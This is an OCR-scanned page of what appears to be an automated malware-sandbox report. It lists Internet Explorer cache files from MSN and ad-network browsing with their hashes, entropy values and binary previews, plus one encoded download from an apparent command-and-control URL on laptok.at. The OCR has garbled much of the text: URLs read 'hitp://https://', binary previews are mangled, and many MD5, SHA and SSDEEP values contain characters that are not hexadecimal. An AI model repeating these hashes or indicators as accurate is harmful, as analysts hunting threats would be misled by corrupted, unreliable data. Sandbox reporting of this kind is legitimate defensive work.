A15C65817A610E368B9482E9971BCACD158E69E75353694F2C48372E76E12FDCFA069EAA718682D8B1018F23D9EEBE34729BF7051604D7B833E20E23F7186DD5
false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1dHyAs.img?h=333&w=311&m=6&q=60&u=t&o=t&I=f&f=jpg&x=1739&y=1314

...... JFIF..ccciiie.Criiiie e 1)10.)-,3:3>36F7,-@WAFLNRSR2>ZaZP  JQRO...C.......&..&05-500000000000000000000000000000000
000000000000000000 7. %&'()*456789:CDEFGHIIJSTUVWXYZcdefgh
TISTUVVVXYZ. .ttt W 11..AQ.aq."2...B....#3R..br...$4.%.....&'()*56 789: CDEFGHIJSTUVWXY
Zcdefghijstuvwxyz. . )@....b..P)\.N...p.\..N...8-+..m...."<Q..m.h..K........P.&P..6..F.C".F.m....... F..mj].
m..C...6.6.p .F.m&...[h.R.m....j}..h..mK..\W".HV.M"..J.R.E........ 8....IN.O..(..0-;m8.p.\,0-8-8.p.....<.P.)\C@..0....1.h.J...."0..S....4-. X...3m...R..i6....m.j].m.....6...m.jM.b...
m.jM.b....M.6).i\...m.v.m.. .i..p +EJE.\e )@.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\4PB7FIMT\BB1dI7Lp[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 311x333, frames 3
downloaded

9021

7.899406863787176

false

192:xYwnY630jNyJnkypRJ+OUnavps2ErpdOtE5tGiIRhs6HVPH8G/6:0h630jNMfJaa2dOtShs2nl
3CF8846127F3D9F21F414BDCD6FE4579

7CFBE37EF70DC213E27C68F255EC25B5FE843A12
B3C5F8B63813532D48B6FB743CF3D355380BBD4F81E770C6DECF51D4214D3140

7B19278C334563EBO9ECDAC1340F31C5ED872C230AF5EC7586049B4ECESDESAES732DC74605C135F1F4AB1AC095B9AF2A84BC36B9FF523BBFA2DA3ABI1D9A4
EAF

Page 28 of 74



C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\4PB7FIMT\BB1dI7Lp[1].jpg

Malicious:
|IE Cache URL:

Preview:

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1dI7Lp.img?h=333&w=311&m=6&0q=60&u=t&o=t&I=f&f=jpg

... )10.)-,3:3>36F7,-@WAFLNRSR2>ZaZP JQRO...C....... &..&05-500000000000000000000000000000000
0000000000000 00000 ..M. 7. o § 11A..Qa."q.2...#B..R..$3br........ %&'()*456789:CDEFGHIISTUVWXYZcdefgh
ijstuvwxyz. &'()*56789:CDEFGHIJSTUVWXY
Zcdefghijstuvwxyz. |IsVQ.=0..Z&M.....ZINX5...Z..1..... . H.T...Z.-..$..[..p...T..4Vdo.i....LoCW........ %....... OGO oot (oY oo
o[]S N ZM< L KF...0d. #.H...:14..StEA. .Uf. A....rI5E.. X.n.N.C..hIV..1&.. X..Q..[|....@.S..v..>....WQ. K(.7....> *IVDR+....S5Q....B.P2..#..>..0].8..j9..V..,....@..2+vd... ...
..agl.c..).FWAT..AG.z....V'p\.LGs..i.}

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\4PB7FIMT\BB5zDwX[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

downloaded

704

7.504963021970784

false
12:6v/78/kFf6XyxGOK8VW5npVrgzBpelZv5C2jcmQ2T3SmAIARgJ5:3+BK8VW5b8NpelZRXIMQ7iACY
C7DBA01C92D1B9060E51F056B26122BC

440F7FC2EEB0D3A74076C6709219F29A31893F86
156AE4B3A7EF2591982271E4287B174CDC4COEE612060AD23E5469ED1148D977

95EF6D3FA8050C25CA83DCFFA8F7D9647C71A60EEEC81A10AES820EB52D65C009A7699A4A581BAES254685AA391404DFB3206EDAEDCBC38D7F0083DOF5DD8
c7

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB5zDwX.img?h=16&w=16&m=6&0=60&u=t&o=t&I=f&f=png

PNG........ IHDR...coovrviin a...sRGB......... gAMA.....a....pHYs.......... (J....UIDAT80.._HSa....6WQXZ..&Dtaz2........ *on X DLSL VDO HY n 2 v X Xl &
.Q....2.2&hmi.@w'"...*.h....=.n.Y.\.Y..Kg..h9.<.5.V..ly..........BAw...t....%..q....2.......k.gS..W]}Ts...6_3....[..T......;.j.]. XO.D\7...A=0.j/PF.we.(...K.1@.5........ @...1YJd.g...U..c/..(.
LLBTXGH *.a..@Pe...n.z...05.... .COY ...Ly.H.. . F(..ES%f.........1....... 0....2.+Q..yN.*K.LO....MLH..e.l.ct|...fU... .70.J.2.0.... X.UG..RS ..;..p...6H...).t*....
[nw.Z" .25 J....d=...B..Q...D<5.......$.X.$.1%F..D#A....S....A ...IEND.B".

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\4PB7FIMT\BB6Ma4a[1].png

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

downloaded

396

6.789155851158018

false

6:6v/IhPkR/CnFPFaUSs1venewS8cJY 1pXVhk5Ywr+hrYYg5Y2dFSkjhTSuME|jrTp:6v/78/kFPFnXleeH8YY9yEMpyk3Tc
6D4A6F49A9B752ED252A81E201B7DB38

765E36638581717C254DB61456060B5A3103863A
500064FB54947219AB4D34F963068E2DE52647CF74A03943A63DC5A51847F588
34E44D7ECB99193427AA5F93EFC27ABC1D552CA58A391506ACA0B166D3831908675F764F25A698A064A8DA01ELF7F58FE7A6A40C924B99706EC9135540968F1A

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB6Ma4a.img?h=16&w=16&m=6&0=60&u=t&o=t&|=f&f=png

>1..p...0.EA.A...0..cC/...0
..... IEND.B".

C:\Users\user\AppData\Local\Microsoft\Windows\INetCachellE\4PB7FIMT\BBPfCZL[1].png

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

GIF image data, version 89a, 50 x 50

downloaded

2313

7.594679301225926

false
48:5Zvh217t5SkY33fS+PuSsgSrrVi7X3ZgMjkCqBn9VKg3dPnRd:vkrrS333g+PagKk7X3Zgal9kMpRd
59DAB7927838DE6A39856EED1495701B

AB0734C857BFF8FF159C1879A041C6EA2329A1FA
544BA9B5585B12B62B01C095633EFC953A7732A29CB1E941FDESAD62AD462D57
7D3FB1A5CC782E3C5047A6C5F14BF26DD39B8974962550193464B84A9B83B4C42FB38B19BDOCEF8247B78E3674F0C26F499DAFCF9AF780710221259D2625DB8¢
false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBPfCZL.img?h=27&w=27&m=6&q=60&u=t&o=t&I=f&f=png
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Y.E.>.9.5.X.A.2.P.J./|.9....T+Z...+.<Fq.Gn.V..;..7.Lr.W..C.<FpJ]....A...0{L.LE.H.@....3..3.0.M.K... #[.3i..D.>........ l..<n..;.Z.1.G.8..E..Hu.1.>..

T..a.Fs..C..8..0}. LBz~ .8 @..B....7. F..6 L>L2.N00 .s..)aCm...'a.0Z..7...3f.<.e....@......Ds..B.
. . oW L [RG L MSLKLRE . L0Y.6.J0 V..g.5.........NETSCAPE2.0.....!..d
.3...9.(].d.C .wH.(."D...(D.....d.Y.....<.(PP.F...dL.@.&.28..$1S... *TP.....>.. L.IT.XL(.@a..IsgM..|..Jc(Q.*....... 2.)y2.J.....W,.ew2.!...1..C.....d..zeh....P.
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\4PB7FIMT\BBUE92F[1].png

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

downloaded

708

7.5635226749074205

false

12:6v/78/gMGkt+fwrs8vYfbooyBfle7XKH5bp6z0w6 TDy9xBOIIDtgf/bU9Fgjlyfd:XGVw90iNH5pbPDy9xmju/AXEyfY FW
770E05618413895818A5CE7582D88CBA

EF83CE65E53166056B644FFC13AF981B64C71617
EEC4AB26140F5AEA299E1D5D5F0181DDC6B4AC2B2B54A7EE9E7BAGEOA4B4667D
B01D7D84339D5E1B3958E82F7679AFD784CE1323938ECA7C313826A72F0E4EE92BD98691F30B735A6544543107B5F5944308764B45DB8DEO6BE699CAS1FF7653
false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBUE92F.img?h=16&w=16&m=6&q=60&u=t&o=t&I=f&f=png

..... a...sRGB . ...%...%.IR$....YIDAT8OM..LA...~..."".q.. X......+""q@...A...&H..H...D.6..p.X".
LB.rq.v.J.:*tv...w.....g../.ou.]7........ B.{.].S...... Ay T.LL(DAL9L.BWN.....>Z.<.wq.-..... T.w.8->P..Ke....I7L......l..2.mQ.t....2..".( LL)L%...... <.
=M...rR.Ad..gh...iX@co..12...."9}...E.0.i?..j5.|$.m..-5....Z.bl...E.....'"MX[M.....s...e..7..u<L.k.@c.....k.zzV...O.......... e.,.5.4%.,,..c.... L..y;..d.mK.v.J.C..0G:w...O.N.........
o] b= f@6TL Foti o X FWL3..@ > L.bF.V..?u.b&gq....... IEND.B".

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\4PB7FIMT\BBX2afX[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 27 x 27, 8-bit/color RGBA, non-interlaced

downloaded

688

7.578207563914851

false
12:6v/74//aalCzkSOmMs9aEx1Jt+9YKLg+b30121P7qO1uCqbyldNEIA67:BPObXRCc6AjOI21Pf1dNCy
09A4FCF1442AD182D5E707FEBC1AB65F

34491D02888B36F88365639EE0458EDBOA4EC3AC
BE265513903C278FI9C6E1EBIE4158FA7837A2ABAC6A75ECBEID16F918C12B536

2A8FA8652CB92BBA624478662BC7462D4EA8500FA36FESE77CBD50AC6BDOF635AA68988C0EG46FEDC39428C19715DCD254E241EB18A184679C3A152030FDIFF
8

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBX2afX.img?h=27&w=27&m=6&q=60&u=t&o=t&I=f&f=png

gAMA.....a....pHYs.......... 0.d...EIDATHK.Mh.A......4....b.Z0oz...2." ... AL X o (RA(QPAKT . LYW3. . M...2./...7 . Jo...
~u'...K_...YM...5wlb....y.V.|.-e.i..D..[V.J...C.....R.QH $]LE3.}. #).MS.LLS.#.1LY g .Q.>,.2S.{.(7 AW PMZ.>......72=.@.9@.;.U..~.
L [ZH3ULH... G+3.=V."D7..1/K.._.LXY....E.$.{ 5].D..&....{IYU.~G...F3..E..{. ......S...A.Zf<=..... 1ve.2}[.....C....h&....r.O..c...U... .N_.S.Y.Q~.?..0.M.L..P #...
b..&.5.Z...r.Q.zM<...+.X3..Tgf._...+SS...u....... */......[END.B".

pHYs..

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\4PB7FIMT\BBnYSFZ[1].png

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

downloaded

560

7.425950711006173

false
12:6v/78/+m8H/Ji+Vncvt7xBkVqzZ5F8FFl4hzuegQZ+26gkalFUx:6H/XVA7BkQZL8OhzueD+ikalY
CA188779452FF7790C6D312829EEE284
076DF7DE6D49A434BBCB5D88B88468255A739F53
D30AB7B54AA074DESE221FE11531FD7528D9EEEAA870A3551F36CB652821292F
2CA81A25769BFB642A0BFAB8F473C034BFD122C4A44E5452D79ECIDCIE483869256500E266CE26302810690374BF36E838511C38F5A36A2BF71ACF5445AA2436
false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBnY SFZ.img?h=16&w=16&m=6&q=60&u=t&o=t&I=f&f=png

.0.d....IDAT80.S.KbQ..zf.j...2@.......... J.ez. EA3P..LAH..LY.3......[6.6}....{..n. ..bo ".h4b.z.&.p8".
. : J%.x<....|..b.h4."0.EQP.. v.q....f.9.H8..\...[N&...X,2...<.B.v[.(.NS6..|>..n4...2.57 *......f.Q&a-..v..z.{P.V...
i, Wt 5.W.t..i....g...\t..8.w..........0....%~...F.F.0""rx...b..vp....b..Pa.W.r..aK..9&...>.5..."..'W......IEND.B".

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\4PB7FJMT\a5ea21[1].ico

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe
PNG image data, 32 x 32, 8-bit/color RGB, non-interlaced
downloaded
758
7.432323547387593
false
12:6v/792/6 TCfasyRmQ/iyzH48qyNkWCj7ev50C5qABOTo+CGB++yg43gX4b9uTmMI:F/6easyD/iCHLSWWqyCoTTdTc+yhaX4v
84CC977D0EB148166481B01D8418E375
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\4PB7FJMT\a5ea21[1].ico

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

00E2461BCD67D7BA511DB230415000AEFBD30D2D

BBF8DA37D92138CCO8FFEEC8E3379C334988D5AE99F4415579999BFBBB57A66C
F47A507077F9173FB07EC200C2677BA5F783D645BE100F12EFE71F701A74272A98E853C4FAB63740D685853935D545730992D0004CID2FESE1965445CAB509C3
false

hitp://https://static-global-s-msn-com.akamaized.net/hp-neu/sc/2b/a5ea21.ico

.................. PHYS.....ccovevee . VPAG... ... ... elDATH...0.@../..MT..KY..PI9" . :UjS. T."P.(R.PZ.KQZ.S. ....v2./....9/t... K.;_}....~..gK..i.;.B.2.".C..B......<
'..Bx..2.)... >w!..%B. {.d...LCgz..j.7D.*.M.*............. "HK..j%.!DOf7......C.]._Z.f+.1.1+.;.Mf...L:Vhg..[.. ..O...l.a....F..S.D...8<n.V.7M ..... cY@....... 4.D.kn%.e. A.@
IA SLOQLNLPLL< ip..y.U...0..9..R.mgp}vwn.f4$. X E.1.T..2.... .\wz..U..../[..z..(DB.B(....-....... B.=m.3....X..p..Y....w.<........8...3.;.0....(..1...A..6f.g.XF..7h.Gmq
|o0Z_Z. X OF o X X..=Y},jT..R.....72w/...Bh..5..C...2.06 ........ 8@A..."zZTXtSoftware..x.sL.OJU..MLO.JML.../.....M....IEND.B".

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\4PB7FJMT\g6yaCO0Y[1].htm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines, with no line terminators

downloaded

2464

5.985101502504591

false

48:lwgrwffRMN+4xpihcoAtmdydQ+nR4z3SwaOFUBmMmX3Aw6Ixt6iMibzuM8WyYVN: lwgk3RFutmKQi4r1kHAwjxpV2M8L

A214C9D621F37A4A5DD418FE4B986283

96B4D5DED9599F50A7557A927384A054721496C6

AB3A214D997D6A6BI1E278FI9EE16E9EDDOBABCAC515797838E22B8ES9CI6784
9D7F21113869653138AF6DE31ED741CC17EA7C5FDOEA2540290AB31B1730E77D0226C0565328466B7A578074F4793EAEL14E881E69D7C2F8D5D354A130E97779E
false

http:/f
apil0.laptok.at/apil/qCo80h_2F6L/Un922nXSLi5jud/Tm30EKBzIEW7_2FtAqldr/fGZBjc4EihNVt7kd/UjRqgXmTO_2BU4F/xrYYxpUblfpczOFmB/wh_2BNTFR/q9zp_2BjPf

VhwarVMviw/H8NdJdOM3gLLWd54hNt/usFI9bADpekICd8xH_2Fpoly_2F7jfzgY Qhs/HoCX2_2B/9kLmdILecOZpjnoEnrDkKOI/dR2aNV{Ibu/dLbU8VAVFwv6v2jhfloYN_2FV
Fyo3c/sInTI2N1ha3/vw8QIHIBELHMZ6/0Znb9lb3aPGbtAH5L1Za5/ssU0QWAIP5WBshWj/af4AbMUUPYYBp_2B/XSRAzR6A/g6yaCOY

yH1jdu6A3JXa3Lqg3zi2flLvgOkzlve XNOuLrxhgmjf7xZ9FIGvpMoGwaRCwOHC/VJIHobp6f5mxQDagdXf/UAykqOez2iAi8S1QTxI5RjciQ9M3zJ0gO+uB+8UjKkmhXXi8
zFhjqj6P/xOgW/cj3KpjoEfV447fouT6/cGaELhOBtGrGYRpwNPPmM+4diO02POKIlysoWnAzdgVA5dtjvhPkBXKpqO71/JIZHCGmL1OvwLVkrThCflU4Tq4/HT/NrZ22ih3
uLfsgJooHHxSOzfrHo666q7tTAMIZ1UntrTIm/QQmAjpFTgZavEeuxOCFsISObUg7E5LQ1dIfLBq00Q4ksS/1KNZAuSTg4SNgmSu9DWAUAQKIk+N9gy6ZFelf7xvhvpAix
u+hYTmR9yLxU/Qb0z1aBU4H]8ERvvOz/MKwQd5VBwW43xKJJOF5BBMU3Pki/SXdkzLqVWVHG2Rg57xug1xL7LMC7zWaP8R7J1vMHOAgFkJ2nfTIFNCjm+KQa/
t+BbaaQFyBcVeVpQ3pF2nvbiiwK2n8sEOk4Ph7uolzN2yMwbgHk3+anOifiP AhaMju58flJ4WaUvwE SVZkBw/hGX7XpxAPBTdEbRvnLspelcDP659e9xh9ql7VgTtCF1cA
rfTXZbhjik8shI2NFbFCOHvj/DsealhwN/UHuUS1BoHf8TNQ6i1030Fq7s7KrifSAKWhM9ch6ZDz42UUt40vaHicThX IFHWLH6jF9O8P3Bmfe/7fbd4ZsW2A/bjkowyXYhK
JfINQJliooD/r2+3MNXX3b60IE/20q+rVPgJer3QagMAc6GhvUMEWIYY X4m2+Vt44nltwj+CZYK36Cilq6z/3HukrlgIDWJI7ExtFGVnhs2ZHRZ+3AMz2J0gr9iFY2pdTXge
JA40mOUIHiYdnLVe3/K+ogbSSc95y3pVukE2MDbyJa6owW73M6kqG/cptKjYODRdeQSR5esF7eS0Oaelq+19U8gtrhkgaUmKyiXcq

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lE\4APB7FIMT\http___cdn.taboola.com_libtrc_static_thumbnails_238d309261f67bed86c9e8aa

10fc588b[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 207x311, frames 3
downloaded

28048

7.981103278092901

false

768:rlcPWmaglqOEKRO/Wia02BEiUdtRuAgoV0:rePHaghEKR8Wi7TfvwH3

A70D7122C862C0F01528A1F93589D83D

BE781CDIFE5131FASFE2C38123CF3FD6BADASDEB
CEOOF8D5A630C14165C900C9951A36A2BA6D10F594C9CA70A525BE27616BA348

159B38F1AA2DEB5710033B642507F161BCB449FD730A2B3597653CB23F4D7D4BE1AF5CBFAA085BC3BOEC8AF654C2D44B50E62C16F805B0352B4B2C643F707FC
0

false

hitp://https://img.img-
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic
%2Fthumbnails%2F238d309261f67bed86c9e8aal0fc588b.jpg

8. $.6%8&%6>424>LDDL_Z_||....... T
LAAQ@.T At . . .8n...vjj.....J...d].t"..hgA...my....v9.D.gT......c.s..7.l.t.0y.....9
Lt ;.doBo KL W.9%.9B... XIM....?. p78r»—’><7| G}is....Q_O....K..U...L.3..b>k.,A.V...K#....u.y.0y.B'xd.|UVv/..

........ h....u..8 Y. k%..Vfid]....S:An..gM]db..............[D.%..8.].Q.K..bz...3..)...n....1..g%....HKG....Tad.._@....\=
.Vz. V[...M..zyJ..nBy...1I7.MI..f.3_R .b.t/....s. ...0....$.0...0....m2;uaj}.

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\APB7FIMT\http___cdn.taboola.com_libtrc_static_thumbnails_f52032391a565ce1f56d11eb

2ad607c3[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 207x311, frames 3
Category: downloaded

Size (bytes): 8591

Entropy (8bit):  7.946592792308832

Encrypted: false

Copyright null 2021
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\APB7FIMT\http___cdn.taboola.com_libtrc_static_thumbnails_f52032391a565ce1f56d11eb

2ad607c3[1].jpg

SSDEEP: 192:/8Dt7Ky0YIgFRaAMRcx0y/W1OEhFI+16eOy:/8D9IAMIOCOX5

MD5: 39E5B2258A745DC9316075FFF8A0AC39

SHA1L: 3FD7DO0FD193810973CCE07DE9B693FDE6F9874D3

SHA-256: EEF9FD0O054A8E7DAE10C188C3EFCD1542E22BCD1FC17A70ADF994CC2D54B8FAO

SHA-512: 893139044F05EA5727D27EF1672F43E6B5E8D4371104C3EC645EA464D2D1995443FFD593115734F43EB86C4E1E9B24830F2E4826206DOEA9F720840D242741E2

Malicious: false

|IE Cache URL: hitp://https://img.img-
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic
%2Fthumbnails%2Ff52032391a565ce1f56d11eb2ad607c3.jpg

Preview:

...... JFIF it B B.6°&&X6>424>LDDL_Z_ e 50 $.6%& &6 >424>LDDL_Z [ 7 B

'X4.2m.s.1..0..|. : [..3.tZ....wgNG.....8.. .sq...z. X{..>" ..z
., ...3.d.P...>q.0G. <7N.N[. .iYn..O/..L.. [ Fm.T..N.".
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j.P.R.g{.N."X..1.1.d.h.6lfU<B.IL..?Q...j..B.K..M-Lp..\.&.... Kj..<.?.......Zk%.M....>.V.ae. [...

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\4PB7FJMT\https___gallery-pl.go-game.io_uploads_2020_01_RAD_Aina_Spear B
77389_1000x600_NoOS_English&IMG=1NPP[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 207x311, frames 3
downloaded

25033

7.9775299540073155

false
384:/AHGBPmMCHUVCUW2qlgHgWvqSZlobMowuipLenfcHOJdLWUPo0x/QmUr1CY4NR6Zu:/zFRHUoUW2q8VSZ0MoN2Lt0OVQmdY 6row
8000A20E04C4F8C73B475DF0B7DCES64

8E92748129EF7F7D63CC55A93F6546A2396A966C
F523BF27D421585556127606833D983DEBSDCB767A943C69BOBB50EBI72DAESI

442B1C187317998716B269E1A8BE6BA71E4675D69C8D12AAA74D61DDF3F85F8702EAEA7C1F6A7D108EC74EC344847DDA23F5C375AD49EC382A00BA325316DC
A

false

hitp://https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/https%3A%2F%2Fgallery-pl.go-
game.io%2Fuploads%2F2020%2F01%2FRAD_Aina_Spear_B77389_1000x600_NoOS_English%26IMG%3D1NPP.jpg

."$...$.6*€&*6>424>L.DDL_Z_||
)X y.i..li..5.Y...>=4#..ml5h.&e[..pg..FtdTe.Ef_..D.[.
.n0.T.a..].,.$DE.X...9..".NXJA..+p{.yL../#H. k... *...[.£.. *{C.b.RJ.VB CZ..W...K.., Jj.f.." {*..3...U.hr.tSwy Jy..y.R.m...}..|.Z..;
.Q.la.E.4.1..ul?9.S...n....n2.."y..J.Z]...
....6.hRfp..q..%.w... X.......... 1Y)A.%r'..K.q.6U.M....2.u.....yzH...+........., Jle.U{.,...$e.<..D8.|1]..?..%....

.$....$6"("("60:/,/:0VD<<DVdTOTdylly.

.|9.@0.XS.>m82.q0.rt..t.#....s.h.~m...D...0o._F..8?m..2....5.i2g...d.a.U._.8..

\Z....\VB...W.VQ#.|.(2...E...+......... X
AeB X K/...NJ...W.r

C:\Users\user\AppData\Local\Microsoft\Windows\INetCachellE\4PB7FIJMT\medianet[1].htm

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

HTML document, ASCI!I text, with very long lines

downloaded

384616

5.4840713655045805

false
6144:4mQ9Tw5qlZvbzZHOMIZNGQVvgz5RCulb3xKSv7IW:EIZvwPnGQVvgnxVhKO7IW
033397138B4ACOFDEF8F3BE7404A28B5
1DF3E003AEF33A350521F726AE357E44D1AA6CCO
ABF692111A5DEBOBEA7285864137B12F12A1313E771D86612B4110A7E5D924CE
447DB7E518352EFDFEADO01E9689E47FABAES5A64044D33807D57F2EE7843A9967B3E85793389D122F1689498DF6FD80EBE1E1865FB2ADIBA9IC35BEAL6D4BI72
false

hitp://https://contextual. media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&https=1

<html>.<head></head>.<body style="margin: Opx; padding: Opx; background-color: transparent;">.<script language="javascript" type="text/javascript"
>window.mnjs=window.mnjs||{},window.mnjs.ERP=window.mnjs.ERP||function(){"use strict";for(var a="",1="",c="",f={},u=encodeURIComponent(navigator.userAgent),g=[]
,e=0;e<3;e++)g[e]=[];function m(e){void 0===e.logLevel&&(e={logLevel:3,errorVal:e}),3<=e.logLevel&&g[e.logLevel-1].push(e)}function n(){var e=0;for(s=0;s<3;s++)
e+=g[s].length;if(0!==e){for(var n,o=new Image,t=f.lurl||"https://lg3-a.akamaihd.net/nerrping.php",r="",i=0,s=2;0<=s;s--){for(e=g[s].length,0;0<e; ){if(n=1===s?g[s][0]:{lo
glLevel:g[s][0].logLevel,errorVal:{name:g[s][0].errorVal.name,type:a,svr:l,servname:c,message:g[s][0].errorVal.message,line:g[s][0].errorVal.lineNumber,description:g[s][0]
.errorVal.description,stack:g[s][0].errorVal.stack}},n=n,!((n="object"!=typeof JSON||"function"!=typeof JSON.stringify?"JSON IS NOT SUPPORTED":JSON.stringify(n)
).length+r.length<=1

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\4PB7FJMT\otFlat[1].json

Process:

File Type:

Category:

Size (bytes):

Entropy (8bit):

Encrypted:
Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe
ASCII text, with very long lines, with CRLF line terminators
downloaded
12588
5.376121346695897
false
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\4PB7FJMT\otFlat[1].json

SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

192:RtmLMzybpgtNs5YdGgDaRBYw6Q3gRUJ+g5iwJILd+IJmMgEb5SmfPPenUpoQuQJ/Qq:Rgl14jbK3e85csXf+oHBIAHYP1IMJIAk
AF6480CC2AD894E536028F3FDB3633D7

EA42290413E2E9E0B2647284C4BC03742C9F9048

CA4F7CEOB724E12425B84184E4F5B554F10F642EE7C4BE4D58468D8DED312183
A970B401FE569BF10288E1BCDAA1AF163E827258EDOD7C60E25E2D095C6A5363ECAE37505316CF22716D02C180CB13995FA808000A5BD462252F872197F4CESE
false

hitp://https://www.msn.com/_h/e012d846/webcore/externalscripts/oneTrustV2/scripttemplates/6.4.0/assets/otFlat.json

{. "name": "otFlat",.. "html": "PGRpdiBpZD0ib25ldHJ1c3QtYmFubmVyLXNkaylgY2xhc3M9Im90ORmxhdCI+PGRpdiBjbGFzcz0ib3Qtc2R
rLWvanRhaWSIcn+PGdelBJbGcmzOlethZRrLXJvdyI+PGde|BpZDO|b25IdHJ1c3QtZSJvdXAtY29udGprmVyI|B]bGcmzOlethZRrLWVpZZhOIGQOLXNka
y1jb2x1bW5z1j48ZGI2IGNsYXNzPSJiYW5uzZXJfbG9nbyl+PC9kaXY+PGRpdiBpZD0ib25/dHJ1c3QtcG9saWN51j48aDMgaWQ9Im9uZXRydXNOLXBvbGljeS10aXRsZSI
+VGhpcyBzaXRIIHVzZXMgY29va2llczwvaDM+PCEtLSBNb2JpbGUgQ2xvc2UgQnV0dG9ul COtPjxkaXYgaWQ9Im9uZXRydXNOLWNsb3NILWJO0biljb250YWIuZXItbW9ia
